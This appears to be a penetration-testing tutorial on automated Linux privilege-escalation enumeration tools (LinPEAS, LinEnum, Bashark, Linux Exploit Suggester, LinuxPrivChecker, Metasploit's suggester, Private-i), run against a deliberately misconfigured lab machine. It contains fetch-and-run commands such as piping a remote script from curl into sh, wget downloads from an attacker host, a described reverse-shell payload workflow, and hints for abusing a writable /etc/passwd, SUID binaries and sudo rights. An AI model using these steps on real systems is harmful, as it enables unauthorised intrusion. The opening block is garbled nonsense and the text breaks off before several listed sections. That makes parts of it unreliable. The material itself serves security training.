

# LINUX PRIVILEGE ESCALATION:



fiast elegnes poflit  
mutaha gasti wrol  
tys rorlat of solo suck 169128  
auriall ego with-elavel curfne  
chrand pinnul  
Ogir - caltrhaie. zrofl ppehalks  
diebinnas raw oucklt  
Lowrs fojuatignm- rot roud hopeh  
lutrtn geirve f2ages for finellier  
meeleand ill iduo queclaunul  
get gut like qeme coitte.?

Defal chat clrectline.  
patal rhestual.300  
Jub y'ezalud me ndaniur eyes.42  
ndim 303/etaser. ita.  
helo fipenra  
dnocnest clirge  
rectom -der gvy  
to fre chervlaelint theeld,  
gumud.11 conngcion the rabirantiel

Prat fneel wltt of Boectlld for  
Gaul ponz pr- to vaidshing out  
helm curendz rages coder  
huthelkials pelile  
tmyayt foungle



## AUTOMATED SCRIPT



## Contents

Introduction .....	3
Privilege Escalation Vectors.....	3
Getting Access to Linux Machine .....	3
LinPEAS.....	4
SUID Checks: .....	6
LinEnum .....	8
Kernel and distribution release details .....	9
Platform/software specific tests: .....	10
Bashark.....	11
LES: Linux Exploit Suggester .....	13
LinuxPrivChecker .....	15
Metasploit: Local_Exploit_Suggester .....	17
Linux Private-i.....	18
Linux Smart Enumeration.....	20
Linux Exploit Suggester 2 .....	22
Conclusion.....	23





## Introduction

In this article, we will shed light on some of the Linux Privilege Escalation automated scripts that can be used to perform Post Exploitation and Enumeration after getting initial accesses on Linux based Devices.

When an attacker attacks a Linux Operating System most of the time they will get a base shell which can be converted into a TTY shell or meterpreter session. This shell is limited in the actions it can perform. So, in order to elevate privileges, we need to enumerate different files, directories, permissions, logs and /etc/passwd files. The number of files inside any Linux System is very overwhelming. Hence, doing this task manually is very difficult even when you know where to look. So, why not automate this task using scripts.

Basically, privilege escalation is a phase that comes after the attacker has compromised the victim's machine where he tries to gather critical information related to systems such as hidden password and weak configured services or applications and etc. All this information helps the attacker to make the post exploit against the machine for getting the higher-privileged shell.

## Privilege Escalation Vectors

Following information are considered as critical Information of Windows System:

- The version of the operating system
- Any Vulnerable package installed or running
- Files and Folders with Full Control or Modify Access
- Mapped Drives
- Potentially Interesting Files
- Network Information (interfaces, arp)
- Firewall Status and Rules
- Running Processes
- Stored Credentials
- Sudo Rights
- Path Variables
- Docker
- Buffer Overflow conditions
- Cronjobs
- Capabilities

Several scripts are used in penetration testing to quickly identify potential privilege escalation vectors on Linux systems, and today we will elaborate on each script that works smoothly.

## Getting Access to Linux Machine

This step is for maintaining continuity and for beginners. If you are more of an intermediate or expert then you can skip this and get onto the scripts directly. Or if you have got the session through any other exploit then also you can skip this section.

Since we are talking about the post-exploitation or the scripts that can be used to enumerate the conditions or opening to elevate privileges, we first need to exploit the machine. It is a rather pretty simple approach. Firstly, we craft a payload using MSFvenom. Apart from the exploit, we will be



providing our local IP Address and a local port on which we are expecting to receive the session. After successfully crafting the payload, we run a python one line to host the payload on our port 80. We will use this to download the payload on the target system. After downloading the payload on the system, we start a netcat listener on the local port that we mentioned while crafting the payload. Then execute the payload on the target machine. You will get a session on the target machine.

Refer to our [MSFvenom Article](#) to Learn More.

## LinPEAS

GitHub Link: [LinPEAS](#)

Let's start with LinPEAS. It was created by [Carlos P](#). The developers made it with a simple objective to enumerate all the possible ways or methods to Elevate Privileges on a Linux System. One of the best things about LinPEAS is that it doesn't have any dependency. This enables it to run anything that is supported by the pre-existing binaries. The team tested LinPEAS on Debian, CentOS, FreeBSD, and OpenBSD. The developers designed LinPEAS in such a way that it won't write anything directly to the disk and while running on default, it won't try to login as another user through the su command.

The amount of time LinPEAS takes varies from 2 to 10 minutes depending on the number of checks that are requested. If you are running WinPEAS inside a Capture the Flag Challenge then doesn't shy away from using the -a parameter. It will activate all checks. LinPEAS monitors the processes in order to find very frequent cron jobs but in order to do this you will need to add the -a parameter and this check will write some info inside a file that will be deleted later. This makes it perfect as it is not leaving a trace.

**Let's talk about other parameters.**

**-s (superfast & stealth):** This will bypass some time-consuming checks and will leave absolutely no trace.

**-P (Password):** Pass a password that will be used with sudo -l and Bruteforcing other users

**-h** Help Banner

**-o** Only execute selected checks

**-d <IP/NETMASK>** Discover hosts using fping or ping

**ip <PORT(s)> -d <IP/NETMASK>** Discover hosts looking for TCP open ports using nc

It exports and unset some environmental variables during the execution so no command executed during the session will be saved in the history file and if you don't want to use this functionality just add a -n parameter while exploiting it. LinPEAS can be executed directly from GitHub by using the curl command.

```
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
```



```
L-# ssh ignite@192.168.1.38
ignite@192.168.1.38's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-136-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
New release '20.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Feb 28 09:48:48 2021 from 192.168.1.2
ignite@ubuntu:~$ cd /tmp
ignite@ubuntu:/tmp$ curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload  Upload   Total   Spent    Left   Speed

 1 317k    1 3595   0     0  7731      0  0:00:42 --:--:-- 0:00:42  7714

linpeas v3.0.4 by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the r
s and/or with the network owner's permission.

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You must take a look at it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
```

Here, we can see the Generic Interesting Files Module of LinPEAS at work. Among other things, it also enumerates and lists the writable files for the current user and group. Here we can see that the Docker group has writable access. So, if we write a file by copying it to a temporary container and then back to the target destination on the host. We might be able to elevate privileges. It is possible because some privileged users are writing files outside a restricted file system.

```
[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group ignite:
Group docker:
```

Moving on we found that there is a python file by the name of cleanup.py inside the mnt directory. It must have execution permissions as cleanup.py is usually linked with a cron job. So, we can enter a shell invocation command



```
[+] Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/ignite
/mnt/cleanup.py
/run/lock
/run/user/1001
/run/user/1001/systemd
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/systemd-private-2150cca5b78b4699bd7188fb665ec51c-systemd-resolved.service-ssMPMr/tmp
/tmp/systemd-private-2150cca5b78b4699bd7188fb665ec51c-systemd-timesyncd.service-OK8zpj/tmp
/tmp/.Test-unix
/tmp/VMwareDnD
```

### SUID Checks:

Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Those files which have SUID permissions run with higher privileges. Here, LinPEAS have shown us that the target machine has SUID permissions on find, cp and nano.

```
( Interesting Files )
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
strings Not Found
-rwsr-xr-x 1 root root 31K Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 10K Mar 27 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 233K Nov 5 2017 /usr/bin/find
-rwsr-xr-x 1 root root 139K Jan 18 2018 /bin/cp
-rwsr-xr-x 1 root root 241K Mar 6 2018 /bin/nano
-rwsr-xr-x 1 root root 99K Nov 22 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-ni
-rwsr-xr-x 1 root root 427K Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 59K Mar 22 2019 /usr/bin/passwd → Apple_Mac_OSX(03-2
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 40K Mar 22 2019 /usr/bin/newgrp → HP-UX_10.20
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Mar 22 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/chfn → SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 19K Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 63K Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root root 11K Mar 25 2020 /usr/bin/vmware-user-suid-wrapper
```

LinPEAS also checks for various important files for write permissions as well. Here, we can see that the target server has /etc/passwd file writable. This means that the attacker can create a user and password hash on their device and then append that user into the /etc/passwd file with root access and that have compromised the device to the root level.





```
[+] Hashes inside passwd file? ..... No
[+] Writable passwd file? ..... /etc/passwd is writable
[+] Credentials in fstab/mstab? ..... No
[+] Can I read shadow files? ..... No
[+] Can I read opasswd file? ..... No
[+] Can I write in network-scripts? ..... No
[+] Can I read root folder? ..... No

[+] Searching root files in home dirs (limit 30)
/home/
/home/privs/.bash_history
/root/
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.bashrc
/root/.profile
```

Next detection happens for the sudo permissions. This means that the current user can use the following commands with elevated access without a root password. This can enable the attacker to refer these into the GTFEBIN and find a simple one line to get root on the target machine.

```
[+] Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
Matching Defaults entries for privs on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/s

User privs may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi
(ALL : ALL) ALL
```

In the beginning, we run LinPEAS by taking the SSH of the target machine. In the beginning, we run LinPEAS by taking the SSH of the target machine and then using the curl command to download and run the LinPEAS script. But there might be situations where it is not possible to follow those steps. Hence, we will transfer the script using the combination of python one-liner on our attacker machine and wget on our target machine.

```
ls
python -m SimpleHTTPServer 80
```

```
(root@kali)-[/mnt/privs/linux]
# ls
linpeas.sh
# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

We downloaded the script inside the tmp directory as it has written permissions. Also, we must provide the proper permissions to the script in order to execute it.

```
cd /tmp
wget 192.168.1.5/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh
```



```
ignite@ubuntu:~$ cd /tmp
ignite@ubuntu:/tmp$ wget 192.168.1.5/linpeas.sh
--2021-02-28 10:20:25-- http://192.168.1.5/linpeas.sh
Connecting to 192.168.1.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 325414 (318K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                     100%[=====]

2021-02-28 10:20:25 (291 MB/s) - 'linpeas.sh' saved [325414/325414]

ignite@ubuntu:/tmp$ chmod 777 linpeas.sh
ignite@ubuntu:/tmp$ ./linpeas.sh
```



linpeas v3.0.4 by carlospolop

**ADVISORY:** This script should be used for authorized penetration tests and/or with the network owner's permission.

## LinEnum

GitHub Link: [LinEnum](#)

Time to take a look at LinEnum. It was created by [Rebootuser](#). LinEnum is a shell script that works in order to extract information from the target machine about elevating privileges. It supports an Experimental Reporting functionality that can help to export the result of the scan in a readable report format. It has a few options or parameters such as:





- k Enter keyword
- e Enter export location
- t Include thorough (lengthy) tests
- s Supply current user password to check sudo perms (INSECURE)
- r Enter report name
- h Displays help text

It checks various resources or details mentioned below:

## Kernel and distribution release details

### System Information:

Hostname, Networking details, Current IP, Default route details, DNS server information

### User Information:

Current user details, Last logged on users, shows users logged onto the host, list all users including uid/gid information, List root accounts, Extract's password policies and hash storage method information, checks umask value, checks if password hashes are stored in /etc/passwd, extract full details for 'default' uid's such as 0, 1000, 1001 etc., attempt to read restricted files i.e., /etc/shadow, List current users history files (i.e. .bash\_history, .nano\_history etc.), Basic SSH checks

### Privileged access:

Which users have recently used sudo, determine if /etc/sudoers is accessible, determine if the current user has Sudo access without a password, are known 'good' breakout binaries available via Sudo (i.e., nmap, vim etc.), Is root's home directory accessible, List permissions for /home/

### Environmental:

Display current \$PATH, Displays env information

### Jobs/Tasks:

List all cron jobs, locate all world-writable cron jobs, locate cron jobs owned by other users of the system, List the active and inactive systemd timers

### Services:

List network connections (TCP & UDP), List running processes, Lookup and list process binaries and associated permissions, List Netconf/indecent contents and associated binary file permissions, List init.d binary permissions

### Version Information (of the following):

Sudo, MYSQL, Postgres, Apache (Checks user config, shows enabled modules, Checks for httpasswd files, View www directories)

### Default/Weak Credentials:

Checks for default/weak Postgres accounts, Checks for default/weak MYSQL accounts

### Searches:

Locate all SUID/GUID files, Locate all world-writable SUID/GUID files, Locate all SUID/GUID files owned by root, Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc.), Locate files with POSIX





capabilities, List all world-writable files, Find/list all accessible \*.plan files and display contents, Find/list all accessible \*.rhosts files and display contents, Show NFS server details, Locate \*.conf and \*.log files containing keyword supplied at script runtime, List all \*.conf files located in /etc, .bak file search, Locate mail

### Platform/software specific tests:

Checks to determine if we're in a Docker container checks to see if the host has Docker installed, checks to determine if we're in an LXC container

Here, we are downloading the locally hosted LinEnum script and then executing it after providing appropriate permissions.

```
wget 192.168.1.5/LinEnum.sh
chmod 777 LinEnum.sh
./LinEnum.sh
```

```
ignite@ubuntu:/tmp$ wget 192.168.1.5/LinEnum.sh
--2021-02-28 10:22:14-- http://192.168.1.5/LinEnum.sh
Connecting to 192.168.1.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh                                     100%[=====]

2021-02-28 10:22:14 (387 MB/s) - 'LinEnum.sh' saved [46631/46631]

ignite@ubuntu:/tmp$ chmod 777 LinEnum.sh
ignite@ubuntu:/tmp$ ./LinEnum.sh

#####
# Local Linux Enumeration & Privilege Escalation Script #
#####
# www.rebootuser.com
# version 0.982

[-] Debug Info
[+] Thorough tests = Disabled
```

We can see that it has enumerated for SUID bits on nano, cp and find.

```
[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 245872 Mar  6 2018 /bin/nano
-rwsr-xr-x 1 root root 141528 Jan 18 2018 /bin/cp
-rwsr-xr-x 1 root root 238080 Nov  5 2017 /usr/bin/find
```

When enumerating the Cron Jobs, it found the cleanup.py that we discussed earlier.



```
[+] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-pa
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-pa
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-pa
#
*/2 * * * * root    /mnt/cleanup.py
```

It also checks for the groups with elevated accesses. In this case it is the docker group.

```
[+] We're a member of the (docker) group - could possibly misuse these rights!
uid=1001(ignite) gid=1001(ignite) groups=1001(ignite),114(docker)
```

LinEnum also found that the /etc/passwd file is writable on the target machine.

## Bashark

GitHub Link: [Bashark](#)

Time to surf with the Bashark. It was created by **RedCode Labs**. Bashark has been designed to assist penetrations testers and security researchers for the post-exploitation phase of their security assessment of a Linux, OSX or Solaris Based Server.

Some of the prominent features of Bashark are that it is a bash script that means that it can be directly run from the terminal without any installation. It is fast and doesn't overload the target machine. It does not have any specific dependencies that you would require to install in the wild. As it wipes its presence after execution it is difficult to be detected after execution. Here, we downloaded the Bashark using the wget command which is locally hosted on the attacker machine. Then provided execution permissions using chmod and then run the Bashark script. It upgrades your shell to be able to execute different commands.

```
cd /tmp
wget 192.168.1.5/bashark.sh
chmod 777 bashark.sh
source bashark.sh
```



```
ignite@ubuntu:~$ cd /tmp
ignite@ubuntu:/tmp$ wget 192.168.1.5/bashark.sh
--2021-02-28 10:39:44-- http://192.168.1.5/bashark.sh
Connecting to 192.168.1.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 63570 (62K) [text/x-sh]
Saving to: 'bashark.sh'

bashark.sh                               100%[=====]

2021-02-28 10:39:44 (290 MB/s) - 'bashark.sh' saved [63570/63570]

ignite@ubuntu:/tmp$ chmod 777 bashark.sh
ignite@ubuntu:/tmp$ source bashark.sh

[+] Type 'help' to show available commands

bashark_2.0$
```

Here we used the `getperm -c` command to read the SUID bits on `nano`, `cp` and find among other binaries. Bashark also enumerated all the common config files path using the `getconf` command.

```
getperm -c
getconf
```



```
bashark_2.0$ getperm -c
[+] Results from common places:
/bin/fusermount
/bin/mount
/bin/nano
/bin/su
/bin/ping
/bin/umount
/bin/cp
/sbin/unix_chkpwd
/sbin/pam_extrausers_chkpwd
/usr/bin/newgidmap
/usr/bin/mlocate
/usr/bin/chage
/usr/bin/find
/usr/bin/wall
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/ssh-agent
/usr/bin/traceroute6.iputils
/usr/bin/bsd-write
/usr/bin/newgrp
/usr/bin/crontab
/usr/bin/expiry
/usr/bin/chfn
/usr/bin/vmware-user-suid-wrapper
/usr/bin/passwd
/usr/bin/newuidmap
bashark_2.0$ getconf
[+] Found /etc/group
[+] Found /etc/hosts
[+] Found /etc/crontab
[+] Found /etc/sysctl.conf
[+] Found /etc/ssh/ssh_config
[+] Found /etc/ssh/sshd_config
[+] Found /etc/resolv.conf
[+] Found /etc/ldap/ldap.conf
[+] Found /etc/fstab
[+] Found /etc/fuse.conf
[+] Found /etc/gai.conf
[+] Found /etc/host.conf
[+] Found /etc/ld.so.conf
[+] Found /etc/logrotate.conf
[+] Found /etc/ltrace.conf
[+] Found /etc/mke2fs.conf
bashark 2.0$
```

## LES: Linux Exploit Suggester

GitHub Link: [LES](#)

Time to get suggesting with the LES. It was created by [Z-Labs](#). As with other scripts in this article, the developers also designed this tool to help the security testers or analysts test the Linux Machine for potential vulnerabilities and ways to elevate privileges. The creators crafted LES in such a way that it



can work across different versions or flavours of Linux. Extensive research and improvements have made the tool robust and with minimal false positives.

The basic working of the LES starts with generating the initial exploit list based on the detected kernel version and then it checks for the specific tags for each exploit. It collects all the positive results and then ranks them according to the potential risk and then show it to the user. We can see that the target machine is vulnerable to CVE 2021-3156, CVE 2018-18955, CVE 2019-18634, CVE, 2019-15666, CVE 2017-0358 and others. Now we can read about these vulnerabilities and use them to elevate privilege on the target machine.

```
chmod 777 les.sh  
./les.sh
```





```
ignite@ubuntu:/tmp$ chmod 777 les.sh
ignite@ubuntu:/tmp$ ./les.sh

Available information:

Kernel version: 4.15.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 18.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

74 kernel space exploits
46 user space exploits

Possible Exploits:

[+] [CVE-2021-3156] sudo Baron Samedit

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-s
Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL: https://codecademy.github.io/CVE-2021-3156/zip/main

[+] [CVE-2018-18955] subuid_shell

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
Exposure: probable
Tags: [ ubuntu=18.04 ]{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
Download URL: https://github.com/offensive-security/exploitdb-bin-spl
Comments: CONFIG_USER_NS needs to be enabled

[+] [CVE-2019-18634] sudo pwfeedback

Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2017-0358] ntfs-3g-modprobe

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
Exposure: less probable
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u
Download URL: https://github.com/offensive-security/exploit-database-bin-spl
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must
```

## LinuxPrivChecker

GitHub Link: [LinuxPrivChecker](#)

Checking some Privs with the LinuxPrivChecker. It was created by [Mike Czumak](#) and maintained by [Michael Contino](#). Let's concentrate on a Python script after the collection of shell scripts. The Linux system is the target of this Python script. It looks for relevant exploits, clear-text passwords, readable files, and configuration errors. Additionally, it highlights some intriguing places that can elevate privileges and play a significant part. The basic system information is presented first. The kernel version, hostname, operating system, network information, running services, etc. are then displayed.



```
python linuxprivchecker.py
```

```
ignite@ubuntu:/tmp$ python linuxprivchecker.py
Linux PRIVILEGE ESCALATION CHECKER

[*] GETTING BASIC SYSTEM INFO ...

[+] Kernel
    Linux version 4.15.0-136-generic (buildd@lcy01-amd64-029) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04))

[+] Hostname
    ubuntu

[+] Operating System
    Ubuntu 18.04.5 LTS \n \l

[*] GETTING NETWORKING INFO ...

[+] Interfaces
    ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.38 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::20c:29ff:fec4:8693 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:c4:86:93 txqueuelen 1000 (Ethernet)
    RX packets 1251 bytes 264234 (264.2 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 904 bytes 208077 (208.0 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 16 bytes 1481 (1.4 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 16 bytes 1481 (1.4 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

[+] Netstat
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State
    tcp        0      0 127.0.0.1:53:53         0.0.0.0:*               LISTEN
    tcp        0      0 0.0.0.0:22             0.0.0.0:*               LISTEN
    tcp        0      0 127.0.0.1:45165        0.0.0.0:*               LISTEN
    tcp        0      0 192.168.1.38:22        192.168.1.2:53232      ESTABLISHED
    tcp6       0      0 :::22                  :::*                    LISTEN
    udp        0      0 127.0.0.1:53:53         0.0.0.0:*               LISTEN
    udp        0      0 192.168.1.38:68        0.0.0.0:*               LISTEN

[+] Route
    Kernel IP routing table
    Destination Gateway Genmask Flags Metric Ref Use Iface
    default dsldevice.lan 0.0.0.0 UG 100 0 0 ens33
    192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 ens33
    dsldevice.lan 0.0.0.0 255.255.255.255 UH 100 0 0 ens33
```

LinuxPrivChecker also works to check the `/etc/passwd/` file and other information such as group information or write permissions on different files of potential interest.



```
[+] Root and current user history (depends on privs)
-rw----- 1 ignite ignite 1304 Feb 28 10:55 /home/ignite/.bash_history

[+] Sudoers (privileged)

[+] All users
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uidd:x:105:109::/run/uidd:/usr/sbin/nologin
privs:x:1000:1000:privs,,,:/home/privs:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
lxd:x:107:65534::/var/lib/lxd/:/bin/false
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
ignite:x:1001:1001:,,,:/home/ignite:/bin/bash

[+] Current User
ignite

[+] Current User ID
uid=1001(ignite) gid=1001(ignite) groups=1001(ignite),114(docker)

[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS ...
```

## Metasploit: Local\_Exploit\_Suggester

In some cases, people who don't like to get into scripts or those who use Metasploit to exploit the target system end up with a meterpreter session. So, in these instances, we can use a post-exploitation module to check for ways to elevate privilege as other scripts. All it requires is the session identifier number to run on the exploited target. It will list various vulnerabilities that the system is vulnerable to.

```
use post/multi/recon/local_exploit_suggester
set session 2
exploit
```



```
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > exploit

[*] 192.168.1.38 - Collecting local exploits for x86/linux ...
[*] 192.168.1.38 - 37 exploit checks are being tried ...
[+] 192.168.1.38 - exploit/linux/local/docker_daemon_privilege_escalation: The target is vulnerable.
[+] 192.168.1.38 - exploit/linux/local/nested_namespace_idmap_limit_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.38 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Post module execution completed
```

## Linux Private-i

GitHub Link: [Linux Private-i](#)

Checking some Privs with the LinuxPrivChecker. It was created by [creosote](#). Linux Private-i can be defined as a Linux Enumeration or Privilege Escalation tool that performs the basic enumeration steps and displays the results in an easily readable format. The script has a very verbose option that includes vital checks such as OS info and permissions on common files, search for common applications while checking versions, file permissions and possible user credentials, common apps: Apache/HTTPD, Tomcat, Netcat, Perl, Ruby, Python, WordPress, Samba, Database Apps: SQLite, Postgres, MySQL/MariaDB, MongoDB, Oracle, Redis, CouchDB, Mail Apps: Postfix, Dovecot, Exim, Squirrel Mail, Cyrus, Sendmail, Courier, Checks Networking info - netstat, ifconfig, Basic mount info, crontab and bash history.

Here's a snippet when running the Full Scope. This box has purposely misconfigured files and permissions. We see that the target machine has the /etc/passwd file writable. We are also informed that the Netcat, Perl, Python, etc. are installed on the target machine.

```
chmod 777 private-i.sh
./private-i.sh
```





```
ignite@ubuntu:/tmp$ chmod 777 private-i.sh
ignite@ubuntu:/tmp$ ./private-i.sh

-----Linux Private-i-----

1) Full Scope          - Non-Targeted approach with verbose results
2) Quick Canvas        - Brief System Investigation
3) Sleuths Special     - Search for unique perms, sensitive files, passwords, etc
4) Exploit Tip-off     - Lists possible OS & Kernel exploits
5) Exit
Selection: 1

Running Full Scope Investigation

v1.1

-----OS info-----

Ubuntu 18.04.5 LTS
4.15.0-136-generic
ignite
uid=1001(ignite) gid=1001(ignite) groups=1001(ignite),114(docker)

Super users
root:x:0:0:root:/root:/bin/bash

-----Vital Quick Checks-----
[-] - /etc/passwd is World-Readable
[-] - /etc/shadow is neither world readable nor writable
[-] - /etc/sudoers is neither world readable nor writable
[-] - Mail in /var/mail/ is neither world readable nor writable
[+] - Found something in /etc/ that's World-Writable
      -rwxrwxrwx 1 root root 1498 Feb 28 09:35 /etc/passwd
/var/log/ Detection
[-] - syslog is neither world readable nor writable
[-] - auth.log is neither world readable nor writable

-----Application Research-----
[-] - Unable to confirm if Apache is installed
[-] - Unable to confirm if HTTPD is installed
[-] - Unable to confirm if Tomcat is installed
[+] - Netcat is installed
[+] - Perl is installed
[-] - Unable to confirm if Ruby is installed
[+] - Python is installed
[+] - Netcat is installed
[-] - Unable to confirm if WordPress is installed
[-] - Unable to confirm if Samba is installed

-----SSH Info-----
[-] - ssh_host_rsa_key is neither world readable nor writable
[-] - ssh_host_ed25519_key is neither world readable nor writable
[-] - ssh_host_ecdsa_key is neither world readable nor writable
```

Private-i also extracted the script inside the cronjob that gets executed after the set duration of time.



```
-----Crontab-----

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly
